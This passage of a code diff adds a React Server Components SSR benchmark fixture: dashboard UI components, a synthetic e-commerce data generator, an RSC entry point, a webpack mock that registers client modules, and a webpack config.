{activities.map((activity, i) => (
|
||||
<Suspense key={activity.id} fallback={<li>Loading...</li>}>
|
||||
<AsyncActivityItem activity={activity} delay={1 + (i % 5)} />
|
||||
</Suspense>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function DashboardAsync({itemCount}) {
|
||||
return (
|
||||
<main className="dashboard">
|
||||
<div className="dashboard-header">
|
||||
<h1>Dashboard Overview</h1>
|
||||
<p className="dashboard-subtitle">
|
||||
Welcome back. Here is what is happening with your store today.
|
||||
</p>
|
||||
</div>
|
||||
<Suspense fallback={<Skeleton type="stats" />}>
|
||||
<AsyncStatsSection />
|
||||
</Suspense>
|
||||
<div className="dashboard-grid">
|
||||
<div className="dashboard-main">
|
||||
<Suspense fallback={<Skeleton type="table" />}>
|
||||
<AsyncProductSection itemCount={itemCount} />
|
||||
</Suspense>
|
||||
</div>
|
||||
<div className="dashboard-aside">
|
||||
<Suspense fallback={<Skeleton type="chart" />}>
|
||||
<AsyncChartSection />
|
||||
</Suspense>
|
||||
<Suspense fallback={<Skeleton type="feed" />}>
|
||||
<AsyncActivitySection itemCount={itemCount} />
|
||||
</Suspense>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
);
|
||||
}
|
||||
47
fixtures/flight-ssr-bench/src/components/Footer.js
Normal file
47
fixtures/flight-ssr-bench/src/components/Footer.js
Normal file
@@ -0,0 +1,47 @@
|
||||
import FooterLink from './FooterLink';
|
||||
|
||||
const footerSections = [
|
||||
{
|
||||
title: 'Product',
|
||||
links: ['Features', 'Pricing', 'Changelog', 'Docs', 'API Reference'],
|
||||
},
|
||||
{
|
||||
title: 'Company',
|
||||
links: ['About', 'Blog', 'Careers', 'Press', 'Partners'],
|
||||
},
|
||||
{
|
||||
title: 'Support',
|
||||
links: ['Help Center', 'Contact', 'Status', 'Community', 'Security'],
|
||||
},
|
||||
{
|
||||
title: 'Legal',
|
||||
links: ['Privacy', 'Terms', 'Cookie Policy', 'Licenses', 'GDPR'],
|
||||
},
|
||||
];
|
||||
|
||||
export default function Footer() {
|
||||
return (
|
||||
<footer className="app-footer">
|
||||
<div className="footer-grid">
|
||||
{footerSections.map(section => (
|
||||
<div key={section.title} className="footer-section">
|
||||
<h4>{section.title}</h4>
|
||||
<ul>
|
||||
{section.links.map(link => (
|
||||
<li key={link}>
|
||||
<FooterLink
|
||||
href={'/' + link.toLowerCase().replace(/\s+/g, '-')}>
|
||||
{link}
|
||||
</FooterLink>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div className="footer-bottom">
|
||||
<p>© 2026 Acme Inc. All rights reserved.</p>
|
||||
</div>
|
||||
</footer>
|
||||
);
|
||||
}
|
||||
9
fixtures/flight-ssr-bench/src/components/FooterLink.js
Normal file
9
fixtures/flight-ssr-bench/src/components/FooterLink.js
Normal file
@@ -0,0 +1,9 @@
|
||||
'use client';
|
||||
|
||||
export default function FooterLink({href, children}) {
|
||||
return (
|
||||
<a className="footer-link" href={href}>
|
||||
{children}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
22
fixtures/flight-ssr-bench/src/components/Header.js
Normal file
22
fixtures/flight-ssr-bench/src/components/Header.js
Normal file
@@ -0,0 +1,22 @@
|
||||
'use client';
|
||||
|
||||
import Avatar from './Avatar';
|
||||
import SearchBar from './SearchBar';
|
||||
import NotificationBell from './NotificationBell';
|
||||
|
||||
export default function Header({title, user}) {
|
||||
return (
|
||||
<header className="app-header">
|
||||
<div className="header-left">
|
||||
<h1 className="header-title">{title}</h1>
|
||||
</div>
|
||||
<div className="header-center">
|
||||
<SearchBar placeholder="Search products, orders, customers..." />
|
||||
</div>
|
||||
<div className="header-right">
|
||||
<NotificationBell count={3} />
|
||||
<Avatar name={user.name} role={user.role} src={user.avatar} />
|
||||
</div>
|
||||
</header>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/NavLink.js
Normal file
10
fixtures/flight-ssr-bench/src/components/NavLink.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function NavLink({href, icon, children}) {
|
||||
return (
|
||||
<a className="nav-link" href={href}>
|
||||
<span className="nav-icon" data-icon={icon} />
|
||||
<span className="nav-label">{children}</span>
|
||||
</a>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/NotificationBell.js
Normal file
10
fixtures/flight-ssr-bench/src/components/NotificationBell.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function NotificationBell({count}) {
|
||||
return (
|
||||
<button className="notification-bell" aria-label="Notifications">
|
||||
<span className="bell-icon">🔔</span>
|
||||
{count > 0 && <span className="notification-badge">{count}</span>}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
26
fixtures/flight-ssr-bench/src/components/Pagination.js
Normal file
26
fixtures/flight-ssr-bench/src/components/Pagination.js
Normal file
@@ -0,0 +1,26 @@
|
||||
'use client';
|
||||
|
||||
export default function Pagination({total, pageSize}) {
|
||||
const pageCount = Math.ceil(total / pageSize);
|
||||
const pages = [];
|
||||
for (let i = 1; i <= pageCount; i++) {
|
||||
pages.push(i);
|
||||
}
|
||||
return (
|
||||
<div className="pagination">
|
||||
<button className="pagination-btn" disabled>
|
||||
Previous
|
||||
</button>
|
||||
<div className="pagination-pages">
|
||||
{pages.map(page => (
|
||||
<button
|
||||
key={page}
|
||||
className={'pagination-page' + (page === 1 ? ' active' : '')}>
|
||||
{page}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<button className="pagination-btn">Next</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
40
fixtures/flight-ssr-bench/src/components/ProductTable.js
Normal file
40
fixtures/flight-ssr-bench/src/components/ProductTable.js
Normal file
@@ -0,0 +1,40 @@
|
||||
import TableRow from './TableRow';
|
||||
import TableHeader from './TableHeader';
|
||||
import Badge from './Badge';
|
||||
import Pagination from './Pagination';
|
||||
|
||||
const columns = [
|
||||
{key: 'name', label: 'Product'},
|
||||
{key: 'sku', label: 'SKU'},
|
||||
{key: 'category', label: 'Category'},
|
||||
{key: 'price', label: 'Price'},
|
||||
{key: 'stock', label: 'Stock'},
|
||||
{key: 'status', label: 'Status'},
|
||||
{key: 'rating', label: 'Rating'},
|
||||
];
|
||||
|
||||
export default function ProductTable({products}) {
|
||||
return (
|
||||
<div className="product-table-container">
|
||||
<div className="table-toolbar">
|
||||
<h2>Products</h2>
|
||||
<span className="table-count">{products.length} items</span>
|
||||
</div>
|
||||
<table className="product-table">
|
||||
<thead>
|
||||
<tr>
|
||||
{columns.map(col => (
|
||||
<TableHeader key={col.key} column={col} />
|
||||
))}
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{products.map(product => (
|
||||
<TableRow key={product.id} product={product} columns={columns} />
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
<Pagination total={products.length} pageSize={20} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
11
fixtures/flight-ssr-bench/src/components/SearchBar.js
Normal file
11
fixtures/flight-ssr-bench/src/components/SearchBar.js
Normal file
@@ -0,0 +1,11 @@
|
||||
'use client';
|
||||
|
||||
export default function SearchBar({placeholder}) {
|
||||
return (
|
||||
<div className="search-bar">
|
||||
<span className="search-icon">🔍</span>
|
||||
<input type="search" className="search-input" placeholder={placeholder} />
|
||||
<kbd className="search-shortcut">⌘K</kbd>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
16
fixtures/flight-ssr-bench/src/components/Shell.js
Normal file
16
fixtures/flight-ssr-bench/src/components/Shell.js
Normal file
@@ -0,0 +1,16 @@
|
||||
import Header from './Header';
|
||||
import ThemeProvider from './ThemeProvider';
|
||||
|
||||
export default function Shell({children}) {
|
||||
return (
|
||||
<ThemeProvider theme="light">
|
||||
<div className="app-shell">
|
||||
<Header
|
||||
title="Acme Dashboard"
|
||||
user={{name: 'Jane Smith', role: 'Admin', avatar: '/img/avatar.png'}}
|
||||
/>
|
||||
<div className="app-content">{children}</div>
|
||||
</div>
|
||||
</ThemeProvider>
|
||||
);
|
||||
}
|
||||
58
fixtures/flight-ssr-bench/src/components/Sidebar.js
Normal file
58
fixtures/flight-ssr-bench/src/components/Sidebar.js
Normal file
@@ -0,0 +1,58 @@
|
||||
import NavLink from './NavLink';
|
||||
import SidebarSection from './SidebarSection';
|
||||
import Badge from './Badge';
|
||||
|
||||
const navItems = [
|
||||
{href: '/', label: 'Dashboard', icon: 'home'},
|
||||
{href: '/products', label: 'Products', icon: 'box', count: 142},
|
||||
{href: '/orders', label: 'Orders', icon: 'cart', count: 38},
|
||||
{href: '/customers', label: 'Customers', icon: 'users'},
|
||||
{href: '/analytics', label: 'Analytics', icon: 'chart'},
|
||||
{href: '/settings', label: 'Settings', icon: 'gear'},
|
||||
];
|
||||
|
||||
const recentItems = [
|
||||
{id: 1, label: 'Order #1234', status: 'pending'},
|
||||
{id: 2, label: 'Order #1235', status: 'shipped'},
|
||||
{id: 3, label: 'Order #1236', status: 'delivered'},
|
||||
{id: 4, label: 'Return #891', status: 'processing'},
|
||||
];
|
||||
|
||||
export default function Sidebar({itemCount}) {
|
||||
return (
|
||||
<aside className="sidebar">
|
||||
<nav className="sidebar-nav">
|
||||
<SidebarSection title="Navigation">
|
||||
{navItems.map(item => (
|
||||
<NavLink key={item.href} href={item.href} icon={item.icon}>
|
||||
{item.label}
|
||||
{item.count != null && <Badge count={item.count} />}
|
||||
</NavLink>
|
||||
))}
|
||||
</SidebarSection>
|
||||
<SidebarSection title="Recent Activity">
|
||||
{recentItems.map(item => (
|
||||
<div key={item.id} className="recent-item">
|
||||
<span className="recent-label">{item.label}</span>
|
||||
<Badge count={item.status} variant="status" />
|
||||
</div>
|
||||
))}
|
||||
</SidebarSection>
|
||||
<SidebarSection title="Quick Stats">
|
||||
<div className="stat">
|
||||
<span className="stat-label">Total Items</span>
|
||||
<span className="stat-value">{itemCount}</span>
|
||||
</div>
|
||||
<div className="stat">
|
||||
<span className="stat-label">Active Users</span>
|
||||
<span className="stat-value">1,247</span>
|
||||
</div>
|
||||
<div className="stat">
|
||||
<span className="stat-label">Revenue</span>
|
||||
<span className="stat-value">$84,320</span>
|
||||
</div>
|
||||
</SidebarSection>
|
||||
</nav>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/SidebarSection.js
Normal file
10
fixtures/flight-ssr-bench/src/components/SidebarSection.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function SidebarSection({title, children}) {
|
||||
return (
|
||||
<div className="sidebar-section">
|
||||
<h3 className="sidebar-section-title">{title}</h3>
|
||||
<div className="sidebar-section-content">{children}</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
9
fixtures/flight-ssr-bench/src/components/Skeleton.js
Normal file
9
fixtures/flight-ssr-bench/src/components/Skeleton.js
Normal file
@@ -0,0 +1,9 @@
|
||||
'use client';
|
||||
|
||||
export default function Skeleton({type}) {
|
||||
return (
|
||||
<div className={'skeleton skeleton-' + type} aria-busy="true">
|
||||
<div className="skeleton-shimmer" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
24
fixtures/flight-ssr-bench/src/components/StatCard.js
Normal file
24
fixtures/flight-ssr-bench/src/components/StatCard.js
Normal file
@@ -0,0 +1,24 @@
|
||||
'use client';
|
||||
|
||||
export default function StatCard({title, value, change, trend, sparkline}) {
|
||||
return (
|
||||
<div className="stat-card">
|
||||
<div className="stat-card-header">
|
||||
<span className="stat-card-title">{title}</span>
|
||||
<span className={'stat-card-change trend-' + trend}>{change}</span>
|
||||
</div>
|
||||
<div className="stat-card-value">{value}</div>
|
||||
<div className="stat-card-sparkline">
|
||||
{sparkline.map((point, i) => (
|
||||
<span
|
||||
key={i}
|
||||
className="sparkline-bar"
|
||||
style={{
|
||||
height: Math.round((point / Math.max(...sparkline)) * 100) + '%',
|
||||
}}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
18
fixtures/flight-ssr-bench/src/components/StatsGrid.js
Normal file
18
fixtures/flight-ssr-bench/src/components/StatsGrid.js
Normal file
@@ -0,0 +1,18 @@
|
||||
import StatCard from './StatCard';
|
||||
|
||||
export default function StatsGrid({stats}) {
|
||||
return (
|
||||
<div className="stats-grid">
|
||||
{stats.cards.map(card => (
|
||||
<StatCard
|
||||
key={card.title}
|
||||
title={card.title}
|
||||
value={card.value}
|
||||
change={card.change}
|
||||
trend={card.trend}
|
||||
sparkline={card.sparkline}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
10
fixtures/flight-ssr-bench/src/components/TableHeader.js
Normal file
10
fixtures/flight-ssr-bench/src/components/TableHeader.js
Normal file
@@ -0,0 +1,10 @@
|
||||
'use client';
|
||||
|
||||
export default function TableHeader({column}) {
|
||||
return (
|
||||
<th className="table-header" data-column={column.key}>
|
||||
<span className="table-header-label">{column.label}</span>
|
||||
<span className="table-header-sort" aria-label="Sort" />
|
||||
</th>
|
||||
);
|
||||
}
|
||||
31
fixtures/flight-ssr-bench/src/components/TableRow.js
Normal file
31
fixtures/flight-ssr-bench/src/components/TableRow.js
Normal file
@@ -0,0 +1,31 @@
|
||||
'use client';
|
||||
|
||||
import Badge from './Badge';
|
||||
|
||||
export default function TableRow({product, columns}) {
|
||||
return (
|
||||
<tr className="table-row">
|
||||
{columns.map(col => (
|
||||
<td key={col.key} className="table-cell" data-column={col.key}>
|
||||
{col.key === 'status' ? (
|
||||
<Badge count={product[col.key]} variant="status" />
|
||||
) : col.key === 'price' ? (
|
||||
<span className="price">${product[col.key]}</span>
|
||||
) : col.key === 'rating' ? (
|
||||
<span className="rating">
|
||||
<span className="star">★</span> {product[col.key]}
|
||||
<span className="review-count">({product.reviewCount})</span>
|
||||
</span>
|
||||
) : col.key === 'name' ? (
|
||||
<div className="product-name-cell">
|
||||
<span className="product-name">{product.name}</span>
|
||||
<span className="product-category">{product.category}</span>
|
||||
</div>
|
||||
) : (
|
||||
product[col.key]
|
||||
)}
|
||||
</td>
|
||||
))}
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
'use client';
|
||||
|
||||
export default function ThemeProvider({theme, children}) {
|
||||
return (
|
||||
<div className={'theme-' + theme} data-theme={theme}>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
293
fixtures/flight-ssr-bench/src/components/data.js
Normal file
293
fixtures/flight-ssr-bench/src/components/data.js
Normal file
@@ -0,0 +1,293 @@
|
||||
const categories = [
|
||||
'Electronics',
|
||||
'Clothing',
|
||||
'Home & Garden',
|
||||
'Sports',
|
||||
'Books',
|
||||
'Toys',
|
||||
'Food',
|
||||
'Health',
|
||||
];
|
||||
const statuses = ['In Stock', 'Low Stock', 'Out of Stock', 'Discontinued'];
|
||||
const activityTypes = [
|
||||
'order_placed',
|
||||
'order_shipped',
|
||||
'order_delivered',
|
||||
'refund_requested',
|
||||
'review_posted',
|
||||
'product_added',
|
||||
'stock_alert',
|
||||
'payment_received',
|
||||
];
|
||||
const userNames = [
|
||||
'Alice Johnson',
|
||||
'Bob Williams',
|
||||
'Carol Davis',
|
||||
'Dan Miller',
|
||||
'Eve Wilson',
|
||||
'Frank Moore',
|
||||
'Grace Taylor',
|
||||
'Henry Anderson',
|
||||
'Iris Thomas',
|
||||
'Jack Jackson',
|
||||
];
|
||||
const reviewTexts = [
|
||||
'Great product, exactly what I needed. The quality exceeded my expectations and shipping was fast.',
|
||||
'Decent value for the price. Some minor issues with packaging but the product itself works well.',
|
||||
'Not what I expected based on the description. Returning this item for a refund.',
|
||||
'Outstanding quality and craftsmanship. Would highly recommend to anyone looking for this type of item.',
|
||||
'Average product, nothing special. Does what it says but nothing more than that.',
|
||||
];
|
||||
|
||||
export function generateProducts(count) {
|
||||
const products = [];
|
||||
for (let i = 0; i < count; i++) {
|
||||
products.push({
|
||||
id: i,
|
||||
name: 'Product ' + i,
|
||||
sku: 'SKU-' + String(i).padStart(6, '0'),
|
||||
price: (((i * 17 + 3) % 9999) / 100).toFixed(2),
|
||||
category: categories[i % categories.length],
|
||||
status: statuses[i % statuses.length],
|
||||
stock: (i * 7 + 13) % 500,
|
||||
rating: (((i * 3 + 1) % 50) / 10).toFixed(1),
|
||||
reviewCount: (i * 13 + 5) % 200,
|
||||
description:
|
||||
'This is a detailed description for product ' +
|
||||
i +
|
||||
'. It includes specifications, features, and other relevant information that a customer might need.',
|
||||
tags: [
|
||||
categories[(i + 1) % categories.length].toLowerCase(),
|
||||
i % 2 === 0 ? 'featured' : 'new',
|
||||
i % 3 === 0 ? 'sale' : 'regular',
|
||||
],
|
||||
dimensions: {
|
||||
weight: ((i * 3 + 1) % 100) / 10,
|
||||
width: ((i * 7 + 2) % 50) + 5,
|
||||
height: ((i * 11 + 3) % 40) + 5,
|
||||
depth: ((i * 13 + 4) % 30) + 2,
|
||||
unit: 'cm',
|
||||
},
|
||||
supplier: {
|
||||
name: 'Supplier ' + (i % 20),
|
||||
leadTime: (i % 14) + 1 + ' days',
|
||||
minOrder: ((i * 3) % 50) + 10,
|
||||
contact: 'supplier' + (i % 20) + '@example.com',
|
||||
address: {
|
||||
street: ((100 + i * 7) % 9999) + ' Industrial Blvd',
|
||||
city: ['Portland', 'Austin', 'Denver', 'Seattle', 'Boston'][i % 5],
|
||||
state: ['OR', 'TX', 'CO', 'WA', 'MA'][i % 5],
|
||||
zip: String(10000 + ((i * 37) % 89999)),
|
||||
},
|
||||
},
|
||||
specifications: {
|
||||
material: ['Aluminum', 'Plastic', 'Steel', 'Wood', 'Carbon Fiber'][
|
||||
i % 5
|
||||
],
|
||||
color: ['Black', 'White', 'Silver', 'Blue', 'Red', 'Green'][i % 6],
|
||||
warranty: (i % 3) + 1 + ' years',
|
||||
certifications: [
|
||||
i % 2 === 0 ? 'CE' : 'FCC',
|
||||
i % 3 === 0 ? 'RoHS' : 'UL',
|
||||
'ISO 9001',
|
||||
],
|
||||
},
|
||||
reviews: [
|
||||
{
|
||||
author: userNames[(i * 3) % userNames.length],
|
||||
rating: ((i * 7 + 3) % 5) + 1,
|
||||
date:
|
||||
'2026-0' +
|
||||
((i % 3) + 1) +
|
||||
'-' +
|
||||
String((i % 28) + 1).padStart(2, '0'),
|
||||
text: reviewTexts[i % reviewTexts.length],
|
||||
helpful: (i * 11 + 2) % 50,
|
||||
},
|
||||
{
|
||||
author: userNames[(i * 3 + 1) % userNames.length],
|
||||
rating: ((i * 11 + 1) % 5) + 1,
|
||||
date:
|
||||
'2026-0' +
|
||||
((i % 3) + 1) +
|
||||
'-' +
|
||||
String(((i + 5) % 28) + 1).padStart(2, '0'),
|
||||
text: reviewTexts[(i + 2) % reviewTexts.length],
|
||||
helpful: (i * 7 + 5) % 30,
|
||||
},
|
||||
{
|
||||
author: userNames[(i * 3 + 2) % userNames.length],
|
||||
rating: ((i * 13 + 2) % 5) + 1,
|
||||
date:
|
||||
'2026-0' +
|
||||
((i % 3) + 1) +
|
||||
'-' +
|
||||
String(((i + 10) % 28) + 1).padStart(2, '0'),
|
||||
text: reviewTexts[(i + 4) % reviewTexts.length],
|
||||
helpful: (i * 3 + 1) % 20,
|
||||
},
|
||||
],
|
||||
});
|
||||
}
|
||||
return products;
|
||||
}
|
||||
|
||||
export function generateActivities(count) {
|
||||
const activities = [];
|
||||
for (let i = 0; i < count; i++) {
|
||||
activities.push({
|
||||
id: i,
|
||||
type: activityTypes[i % activityTypes.length],
|
||||
user: userNames[i % userNames.length],
|
||||
timestamp:
|
||||
'2026-03-' +
|
||||
String((i % 28) + 1).padStart(2, '0') +
|
||||
'T' +
|
||||
String((i * 7) % 24).padStart(2, '0') +
|
||||
':' +
|
||||
String((i * 13) % 60).padStart(2, '0') +
|
||||
':00Z',
|
||||
details: {
|
||||
orderId: '#' + String(10000 + i),
|
||||
amount: '$' + ((i * 23 + 7) % 999).toFixed(2),
|
||||
items: ((i * 3 + 1) % 5) + 1,
|
||||
shippingMethod: ['Standard', 'Express', 'Overnight', 'Economy'][i % 4],
|
||||
paymentMethod: ['Credit Card', 'PayPal', 'Apple Pay', 'Wire Transfer'][
|
||||
i % 4
|
||||
],
|
||||
},
|
||||
message:
|
||||
userNames[i % userNames.length] +
|
||||
' ' +
|
||||
activityTypes[i % activityTypes.length].replace(/_/g, ' ') +
|
||||
' for order #' +
|
||||
(10000 + i),
|
||||
});
|
||||
}
|
||||
return activities;
|
||||
}
|
||||
|
||||
export function generateStats() {
|
||||
return {
|
||||
totalRevenue: '$1,284,320.50',
|
||||
totalOrders: 8432,
|
||||
totalCustomers: 3841,
|
||||
conversionRate: '3.2%',
|
||||
avgOrderValue: '$152.30',
|
||||
returnsRate: '2.1%',
|
||||
cards: [
|
||||
{
|
||||
title: 'Total Revenue',
|
||||
value: '$1,284,320',
|
||||
change: '+12.5%',
|
||||
trend: 'up',
|
||||
sparkline: [65, 59, 80, 81, 56, 55, 72, 84, 91, 88, 95, 102],
|
||||
},
|
||||
{
|
||||
title: 'Orders',
|
||||
value: '8,432',
|
||||
change: '+8.2%',
|
||||
trend: 'up',
|
||||
sparkline: [28, 48, 40, 19, 86, 27, 90, 65, 72, 81, 56, 88],
|
||||
},
|
||||
{
|
||||
title: 'Customers',
|
||||
value: '3,841',
|
||||
change: '+4.1%',
|
||||
trend: 'up',
|
||||
sparkline: [12, 19, 25, 32, 28, 35, 42, 38, 45, 51, 48, 55],
|
||||
},
|
||||
{
|
||||
title: 'Conversion Rate',
|
||||
value: '3.2%',
|
||||
change: '-0.3%',
|
||||
trend: 'down',
|
||||
sparkline: [3.8, 3.5, 3.2, 3.6, 3.1, 3.4, 3.0, 3.3, 3.5, 3.2, 3.1, 3.2],
|
||||
},
|
||||
],
|
||||
revenueByMonth: [
|
||||
{month: 'Jan 25', value: 72000, orders: 480, returns: 24},
|
||||
{month: 'Feb 25', value: 78000, orders: 520, returns: 31},
|
||||
{month: 'Mar 25', value: 85000, orders: 567, returns: 28},
|
||||
{month: 'Apr 25', value: 92000, orders: 613, returns: 35},
|
||||
{month: 'May 25', value: 88000, orders: 587, returns: 29},
|
||||
{month: 'Jun 25', value: 105000, orders: 700, returns: 42},
|
||||
{month: 'Jul 25', value: 112000, orders: 747, returns: 38},
|
||||
{month: 'Aug 25', value: 98000, orders: 653, returns: 33},
|
||||
{month: 'Sep 25', value: 115000, orders: 767, returns: 41},
|
||||
{month: 'Oct 25', value: 108000, orders: 720, returns: 36},
|
||||
{month: 'Nov 25', value: 120000, orders: 800, returns: 44},
|
||||
{month: 'Dec 25', value: 118320, orders: 789, returns: 39},
|
||||
{month: 'Jan 26', value: 85000, orders: 567, returns: 28},
|
||||
{month: 'Feb 26', value: 92000, orders: 613, returns: 32},
|
||||
{month: 'Mar 26', value: 95000, orders: 633, returns: 30},
|
||||
{month: 'Apr 26', value: 110000, orders: 733, returns: 37},
|
||||
{month: 'May 26', value: 118000, orders: 787, returns: 40},
|
||||
{month: 'Jun 26', value: 105000, orders: 700, returns: 35},
|
||||
{month: 'Jul 26', value: 122000, orders: 813, returns: 43},
|
||||
{month: 'Aug 26', value: 115000, orders: 767, returns: 38},
|
||||
{month: 'Sep 26', value: 128000, orders: 853, returns: 45},
|
||||
{month: 'Oct 26', value: 125000, orders: 833, returns: 42},
|
||||
{month: 'Nov 26', value: 135000, orders: 900, returns: 47},
|
||||
{month: 'Dec 26', value: 130000, orders: 867, returns: 44},
|
||||
],
|
||||
topCategories: [
|
||||
{
|
||||
name: 'Electronics',
|
||||
revenue: 420000,
|
||||
orders: 2800,
|
||||
avgPrice: 150,
|
||||
growth: '+15.2%',
|
||||
},
|
||||
{
|
||||
name: 'Clothing',
|
||||
revenue: 310000,
|
||||
orders: 2100,
|
||||
avgPrice: 147.6,
|
||||
growth: '+8.7%',
|
||||
},
|
||||
{
|
||||
name: 'Home & Garden',
|
||||
revenue: 225000,
|
||||
orders: 1500,
|
||||
avgPrice: 150,
|
||||
growth: '+12.1%',
|
||||
},
|
||||
{
|
||||
name: 'Sports',
|
||||
revenue: 180000,
|
||||
orders: 1200,
|
||||
avgPrice: 150,
|
||||
growth: '+5.3%',
|
||||
},
|
||||
{
|
||||
name: 'Books',
|
||||
revenue: 149320,
|
||||
orders: 832,
|
||||
avgPrice: 179.5,
|
||||
growth: '+2.1%',
|
||||
},
|
||||
{
|
||||
name: 'Toys',
|
||||
revenue: 95000,
|
||||
orders: 680,
|
||||
avgPrice: 139.7,
|
||||
growth: '+18.4%',
|
||||
},
|
||||
{
|
||||
name: 'Food',
|
||||
revenue: 82000,
|
||||
orders: 1640,
|
||||
avgPrice: 50,
|
||||
growth: '+6.8%',
|
||||
},
|
||||
{
|
||||
name: 'Health',
|
||||
revenue: 73000,
|
||||
orders: 520,
|
||||
avgPrice: 140.4,
|
||||
growth: '+22.1%',
|
||||
},
|
||||
],
|
||||
};
|
||||
}
|
||||
22
fixtures/flight-ssr-bench/src/entry-rsc.js
Normal file
22
fixtures/flight-ssr-bench/src/entry-rsc.js
Normal file
@@ -0,0 +1,22 @@
|
||||
import {
|
||||
renderToPipeableStream,
|
||||
renderToReadableStream,
|
||||
} from 'react-server-dom-webpack/server';
|
||||
import App from './App';
|
||||
import AppAsync from './AppAsync';
|
||||
|
||||
export function renderRSCNode(clientManifest, Component, itemCount) {
|
||||
return renderToPipeableStream(
|
||||
<Component itemCount={itemCount} />,
|
||||
clientManifest
|
||||
);
|
||||
}
|
||||
|
||||
export function renderRSCEdge(clientManifest, Component, itemCount) {
|
||||
return renderToReadableStream(
|
||||
<Component itemCount={itemCount} />,
|
||||
clientManifest
|
||||
);
|
||||
}
|
||||
|
||||
export {App, AppAsync};
|
||||
62
fixtures/flight-ssr-bench/webpack-mock.js
Normal file
62
fixtures/flight-ssr-bench/webpack-mock.js
Normal file
@@ -0,0 +1,62 @@
|
||||
'use strict';
|
||||
|
||||
const path = require('path');
|
||||
const url = require('url');
|
||||
const fs = require('fs');
|
||||
|
||||
const clientModules = {};
|
||||
const clientManifest = {};
|
||||
const ssrModuleMap = {};
|
||||
let moduleIdx = 0;
|
||||
|
||||
function registerClientModule(modulePath) {
|
||||
const id = String(moduleIdx++);
|
||||
const chunkId = 'chunk-' + id;
|
||||
const absPath = path.resolve(__dirname, modulePath);
|
||||
const actualExports = require(absPath);
|
||||
clientModules[id] = actualExports;
|
||||
|
||||
const href = url.pathToFileURL(absPath).href;
|
||||
clientManifest[href] = {id, chunks: [chunkId, absPath], name: '*'};
|
||||
ssrModuleMap[id] = {'*': {id, chunks: [chunkId, absPath], name: '*'}};
|
||||
}
|
||||
|
||||
// Auto-register all 'use client' components by scanning src/
|
||||
const srcDirs = [
|
||||
path.resolve(__dirname, 'src'),
|
||||
path.resolve(__dirname, 'src/components'),
|
||||
];
|
||||
for (const dir of srcDirs) {
|
||||
if (!fs.existsSync(dir)) continue;
|
||||
for (const file of fs.readdirSync(dir)) {
|
||||
if (!file.endsWith('.js')) continue;
|
||||
const filePath = path.join(dir, file);
|
||||
const source = fs.readFileSync(filePath, 'utf-8');
|
||||
if (
|
||||
source.trimStart().startsWith("'use client'") ||
|
||||
source.trimStart().startsWith('"use client"')
|
||||
) {
|
||||
registerClientModule(filePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
global.__webpack_require__ = function (id) {
|
||||
if (clientModules[id]) {
|
||||
return clientModules[id];
|
||||
}
|
||||
throw new Error('Unknown module: ' + id);
|
||||
};
|
||||
global.__webpack_chunk_load__ = function () {
|
||||
return new Promise(function (resolve) {
|
||||
setImmediate(resolve);
|
||||
});
|
||||
};
|
||||
|
||||
const ssrManifest = {
|
||||
moduleMap: ssrModuleMap,
|
||||
moduleLoading: null,
|
||||
serverModuleMap: null,
|
||||
};
|
||||
|
||||
module.exports = {clientManifest, ssrManifest};
|
||||
45
fixtures/flight-ssr-bench/webpack.config.js
Normal file
45
fixtures/flight-ssr-bench/webpack.config.js
Normal file
@@ -0,0 +1,45 @@
|
||||
'use strict';
|
||||
|
||||
const path = require('path');
|
||||
|
||||
module.exports = {
|
||||
name: 'rsc',
|
||||
target: 'node',
|
||||
entry: './src/entry-rsc.js',
|
||||
output: {
|
||||
path: path.resolve(__dirname, 'build'),
|
||||
filename: 'rsc-bundle.js',
|
||||
library: {type: 'commonjs2'},
|
||||
clean: true,
|
||||
},
|
||||
resolve: {
|
||||
// This is the key: react-server condition makes `react` resolve to the
|
||||
// server variant that supports async components, server references, etc.
|
||||
conditionNames: ['react-server', 'node', 'require'],
|
||||
extensions: ['.js', '.jsx'],
|
||||
},
|
||||
module: {
|
||||
rules: [
|
||||
{
|
||||
// Custom loader that replaces 'use client' modules with client
|
||||
// reference proxies. Must run before babel.
|
||||
enforce: 'pre',
|
||||
test: /\.jsx?$/,
|
||||
exclude: /node_modules/,
|
||||
loader: path.resolve(__dirname, 'rsc-client-ref-loader.js'),
|
||||
},
|
||||
{
|
||||
test: /\.jsx?$/,
|
||||
exclude: /node_modules/,
|
||||
loader: require.resolve('babel-loader'),
|
||||
options: {
|
||||
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
// Production mode but no minification — we want optimized code paths
|
||||
// but readable profiles and a fair comparison between approaches.
|
||||
mode: 'production',
|
||||
optimization: {minimize: false},
|
||||
};
|
||||
1463
fixtures/flight-ssr-bench/yarn.lock
Normal file
1463
fixtures/flight-ssr-bench/yarn.lock
Normal file
File diff suppressed because it is too large
Load Diff
